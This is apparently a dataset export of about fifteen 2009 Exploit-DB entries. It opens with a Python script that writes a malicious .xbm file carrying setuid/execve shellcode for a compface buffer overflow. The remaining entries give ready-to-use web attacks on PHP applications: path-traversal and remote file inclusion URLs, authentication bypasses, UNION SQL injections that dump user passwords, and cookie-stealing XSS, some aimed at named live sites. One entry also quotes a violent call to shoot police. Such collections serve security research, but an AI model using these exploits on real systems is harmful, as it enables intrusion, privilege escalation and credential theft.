QLWD/code_shield huggingface dataset:
标题: Compface 1.1.5 - '.xbm' Local Buffer Overflow EDB-ID: 9302 CVE: 2009-2286 类型: LOCAL 平台: LINUX 发布日期: 2009-07-30 漏洞利用脚本: #!/usr/bin/python
#[*] Exploit     :       Compface '.xbm' Local Buffer Overflow Exploit
#[*] Affected  :  compface 1.1.5
#[*] Tested on   :     Ubuntu 9.04 (without stack randomization)
#[*] Refer  :  bid/35863
#[*] Exploit     :   His0k4

#[*] Use : $compface exploit.xbm out

#setuid/execve shellcode for Linux/x86 by Marco Ivaldi
#[*] x86/alpha_mixed succeeded with size 124 (iteration=1)
shellcode=(
"\x89\xe1\xdb\xd1\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x42\x4a\x42\x37\x50\x58\x50\x31\x49\x4b\x48\x4d\x4d\x50\x42"
"\x4a\x44\x4b\x50\x58\x4d\x49\x51\x42\x42\x48\x46\x4f\x46\x4f"
"\x44\x33\x45\x38\x42\x48\x46\x4f\x42\x42\x42\x49\x42\x4e\x4b"
"\x39\x4d\x33\x51\x42\x50\x53\x4c\x49\x4b\x51\x48\x4d\x4d\x50"
"\x45\x5a\x41\x41")

payload =  "#define noname_width 48\r\n"
payload += "#define noname_height 48\r\n"
payload += "static\r\n"
payload += "\x90"*180
payload += "\x80\xf4\xff\xbf" #$esp+10h
payload += "\x90"*16
payload += shellcode
payload += "\r\n"
payload += "char = {\r\n"

try:
    out_file = open("exploit.xbm","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9302
标题: dit.cms 1.3 - 'path/sitemap/relPath' Local File Inclusion EDB-ID: 9310 CVE: 2009-2784 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ##########################################################################################################
[+] dit.cms 1.3 (path/sitemap/relPath) Local File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##########################################################################################################

[+] Homepage : http://ditcms.org/

[+] Local File Inclusion

 - Note : register_globals = on

 - Vulnerable code is everywhere

 - PoC's

    http://127.0.0.1/path/install/index.php?path=../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/left_rightslideopen/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/left_rightslideopen/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_pullout/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_pullout/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_slideopen/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/side_slideopen/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/simple/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/top_dropdown/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/top_dropdown/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/topside/index.php?sitemap=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/menus/topside/index.php?path=../../../../../../../../boot.ini%00

    http://127.0.0.1/path/index/index.php?relPath=../../../../../../boot.ini%00


##########################################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9310
标题: PaoLink 1.0 - 'login_ok' Authentication Bypass EDB-ID: 9292 CVE: 2009-3423 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: #############################################################################
[+] PaoLink 1.0 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9292
标题: ultrize timesheet 1.2.2 - Remote File Inclusion EDB-ID: 9297 CVE: 2009-2769 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: =====================================================================================


  [o] Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability

       Software : Ultrize TimeSheet version 1.2.2
       Vendor   : http://www.ultrize.com/
       Download : http://www.ultrize.com/timesheet/download/timeSheet-20080505.zip
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=====================================================================================


  [o] Vulnerable file


       include($config['include_dir'].'timesheet.class.php');

        include/timesheet.php



  [o] Exploit

       http://localhost/[path]/include/timesheet.php?config[include_dir]=[evilc0de]


=====================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
=====================================================================================

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9297
标题: PaoBacheca Guestbook 2.1 - 'login_ok' Authentication Bypass EDB-ID: 9293 CVE: 2009-3421 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: #############################################################################
[+] PaoBacheca Guestbook 2.1 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9293
标题: PaoLiber 1.1 - 'login_ok' Authentication Bypass EDB-ID: 9294 CVE: 2009-3422 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: #############################################################################
[+] PaoLiber 1.1 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9294
标题: phpArcadeScript 4.0 - 'id' SQL Injection EDB-ID: 9288 CVE: 2009-2775 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: ----------------------------------------------------------------------------------------------------
  Name : PHP AS v4
  Site : http://www.phparcadescript.com/

----------------------------------------------------------------------------------------------------
 
  Found By : MizoZ [EvilWay Team]
  Made in  : Morocco
  Contact  : mizoz[at]9[dot]cn
  Greetz   : Moudi , Zuka , JIKO , opt!x , All friends
  Website : BlackArea.org (Coming Soon)
----------------------------------------------------------------------------------------------------

SQL Injection linkout.php (GET : id) :
[HOST]/[PATH]/linkout.php?id=[SQL CODE]

SQL CODE : null+union+select+1,2,3,4,5,6,7,8,9,10,11--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9288
标题: PHP Paid 4 Mail Script - 'paidbanner.php?ID' SQL Injection EDB-ID: 9287 CVE: 2009-2774 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-28 漏洞利用脚本: ###########################################################################################
[+] PHP Paid 4 Mail Script (ID) SQL Injection Vulnerability
[+] Discovered By ThE g0bL!N
[+] http://www.h4ckf0ru.com & http://sec-art.com/cc/
############################################################################################
[+]Homepage : http://www.shop-020.de
[+] Exploit: /paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Demo: http://www.city-demo.at/mail/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Note : You can see the information like this "The requested URL /mail/[INFORMATION SQL] was not found on this server."
-------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-28] URL: https://www.exploit-db.com/exploits/9287
标题: Limny 1.01 - Authentication Bypass EDB-ID: 9281 CVE: 2009-4722 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ###########################################################################################
[+] Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Script Homepage : http://www.limny-project.com/

[+] SQL Injection Vulnerability

 - Notes : magic_quotes_gpc = off

 - Vulnerable code in includes/functions.php

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

function CheckLogin($username, $password)
{
 global $db;
 $query = $db->query("SELECT user, pass FROM ".TABLE_PREFIX."users
WHERE user='$username' AND pass='$password'");
 if($check = $db->fetch_array($query))
 {
  return true;
 }else{
  return false;
 }
}

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

   Username : [REAL-ADMIN-NAME] ' or ' 1=1
   Password : anything

[REAL-ADMIN-NAME] = usually is admin

############################################################################################

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9281
标题: Joomla! Component IXXO Cart! Standalone and - SQL Injection EDB-ID: 9276 CVE: 2009-3215 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: Original advisory at:
http://www.davidsopas.com/2009/07/25/ixxo-cart-standalone-and-joomla-component-sql-injection/

Ref. [DSF-03-2009] â€“ IXXO Cart! Standalone and Joomla Component SQL Injection
Vendor: IXXO Internet Solutions
Status: Patched by vendor

IXXO Cart!
IXXO Cart is an extremely powerful php shopping cart and web site
builder application. Designed from a marketing perspective, this
ecommerce application is feature-packed, robust, scalable and easy to
use. IXXO Cart Plus is the clear choice for serious merchants focused
on rapidly and cost effectively deploying, managing and growing a
successful web-based business.
New users appreciate the easy-to-use tools designed to help set up
their store quickly and effectively while experienced users love the
ability to customize and manage our software to meet the needs of
their growing business.

Description
This very known PHP store is vulnerable to SQL Injection on â€œparentâ€ variable.
Injecting a specific combination of SQL commands will execute the new
SQL query and even provide sensitive database information that could
help a malicious user to complete and enter a valid SQL injection
query.

Proof of concept
parent=1%27)%20order%20by%203/*

Impact
A malicious user could manipulate SQL queries by injecting arbitrary
SQL code and return private information.

Time-line
June 2, 2009 â€“ First contact by contact form
June 17, 2009 â€“ Second contact by email
June 17, 2009 â€“ Reply from vendor
June 18, 2009 â€“ Vendor reported that only standalone version and
Joomla 1.0.x component are vulnerable
June 24, 2009 â€“ Vendor asked for more time to patch and warn their
clients about this vulnerability
June 25, 2009 â€“ Vendor released 3.9.6.1 and and updated demo versions
on their site
July 20, 2009 â€“ Third contact to check the status
July 25, 2009 â€“ Advisory goes public

Disclosed
Not yet published in any database

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9276
标题: Super Mod System 3.0 - 's' SQL Injection EDB-ID: 9270 CVE: 2009-3224 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ----------------------------------------------------------------------------------------------------
  Name : Super Mod System 3.1 5
  Site : http://www.classified-software.co.uk/
  Demo : http://www.classified-software.co.uk/super-mod-system-v3/

----------------------------------------------------------------------------------------------------
 
  Found By : MizoZ [EvilWay Team]
  Made in  : Morocco
  Contact  : mizoz[at]9[dot]cn
  Greetz   : Moudi , Zuka , optix , All friends
  Website : BlackArea.org (Coming Soon)
----------------------------------------------------------------------------------------------------

SQL Injection popup.php (GET : sb_id) :
[HOST]/[PATH]/index.php?s=[SQL CODE]

SQL CODE : -6+union+select+1,2,3,4,5--

Live Exemples :
http://www.classified-software.co.uk/super-mod-system-v3/index.php?s=3+and+1=0+union+all+select+1,2,3,4,5--
http://www.thepharmaclassifieds.com/index.php?s=-6+union+select+1,2,3,4,5--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9270
标题: PHP Paid 4 Mail Script - 'home.php' Remote File Inclusion EDB-ID: 9269 CVE: 2009-2773 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: _______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


  [=] PHP Paid 4 Mail Script File Inclusion vuln
       
       Vendor   : http://www.shop-020.de
       Script   : PHP Paid 4 Mail Script 
       Download : http://www.shop-020.de/phpscriptat-p25h4s5-PHP-Paid-4-Mail-Scri.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs
      


       Exploit:

       http://[target]/home.php?page=[evilscript]

       POC:

       http://www.city-demo.at/mail/home.php?page=http://google.de

       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]     
       "Wir sagen natÃ¼rlich, die Bullen sind Schweine, wir sagen, der Typ in Uniform ist ein Schwein, das ist kein Mensch, (...) 
       und natÃ¼rlich kann geschossen werden!" (Ulrike Meinhof, 1970)" 
  [=] 

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9269
标题: Inout Adserver - 'id' SQL Injection EDB-ID: 9271 CVE: 2009-3223 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: # Inout Adserver (id) Remote SQL injection                         [_][-][X]
      _  ___  _  ___      ___ ___ _____      __  ___ __   __  ___       
     | |/ / || |/ __|___ / __| _ \ __\ \    / / |_  )  \ /  \/ _ \      
     | ' <| __ | (_ |___| (__|   / _| \ \/\/ /   / / () | () \_, /      
     |_|\_\_||_|\___|    \___|_|_\___| \_/\_/   /___\__/ \__/ /_/       
                                                                          
                                                                        
      Red n'black i dress eagle on my chest.
      It's good to be an ALBANIAN Keep my head up high for that flag i die.
      Im proud to be an ALBANIAN
   ########################################################################   

       Author             : boom3rang                              
       Contact            : boom3rang[at]live.com                         
       Greetz             : H!tm@N - KHG - cHs

                  R.I.P redc00de                 
   ------------------------------------------------------------------------

                  Affected software description                       
       Software  : Inout Adserver                                       
       Vendor  : http://www.inoutscripts.com/products/adserver/            
       Price         : Just $99.95          
       Version Vuln.   : /  
 
   ------------------------------------------------------------------------

                 Proof Of Concept!
               --------------------

= NOTE!! =
########################################################################################
First you need to create an Advertiser account to the site, it's free, then you need "login" to execute this exploit!
########################################################################################

Dork: N/W
---------------------------------------------------------------------------------------
SQLi:
http://localhost/PATH/ppc-add-keywords.php?id= [ Exploit ]
---------------------------------------------------------------------------------------
Exploit: 
   1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

   1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_publishers--
---------------------------------------------------------------------------------------

Example:
http://localhost/PATH/ppc-add-keywords.php?id=1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

---------------------------------------------------------------------------------------

LiveDemo:

Advertiser Demo Login!   
Username : advertiser
Password : advertiser 

http://www.inoutscripts.com/demo/inout_adserver/ppc-add-keywords.php?id=348+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9271
标题: iwiccle 1.01 - Local File Inclusion / SQL Injection EDB-ID: 9266 CVE: 2009-3217 2009-3216 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ###########################################################################################
[+] iWiccle 1.01 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://www.wiccle.com/index.php?module=wiccle&show=download

[+] Local File Inclusion

 - PoC's

     http://127.0.0.1/[path]/index.php?module=../../../../../../bootsect.bak%00

     http://127.0.0.1/[path]/index.php?module=admin&show=../../../../../../bootsect.bak%00


[+] SQL Injection

 - PoC

   http://127.0.0.1/[path]/index.php?module=admin&show=users&area=manage_users&action=edit_user&member_id=null+union+all+select+1,2,3,4,concat_ws
(0x3a,member_username,member_password,member_hash),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+w_members+where+member_id=1--

############################################################################################

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9266
标题: skadate dating - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting EDB-ID: 9260 CVE: 2009-4739 2009-4700 2009-4699 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] SkaDate Dating (RFI/LFI/XSS) Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ SkaDate Dating ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ https://www.skadate.com/  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered by SkaDate dating ]
        [Â»] Price:              [ $350 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : RFI/LFI vulnerability ]=== 
 
[Â»] http://www.site.com/patch/?layout=[LFI]
[Â»] http://www.site.com/patch/?language_id=[LFI]

[Â»] http://www.site.com/patch/?language_id=[RFI]

[Â»] http://www.rsvpsinglelife.com/?layout=../../../../../../../../etc/passwd
[Â»] http://www.rsvpsinglelife.com/?language_id=../../../../../../../../etc/passwd

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/admin/auth.php/[XSS]
[Â»] http://www.site.com/patch/file_uploader.php/[XSS]

[Â»] http://www.skadate.com/demo/admin/auth.php/"><script>alert(document.cookie);</script>
[Â»] http://www.skadate.com/demo/file_uploader.php/"><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9260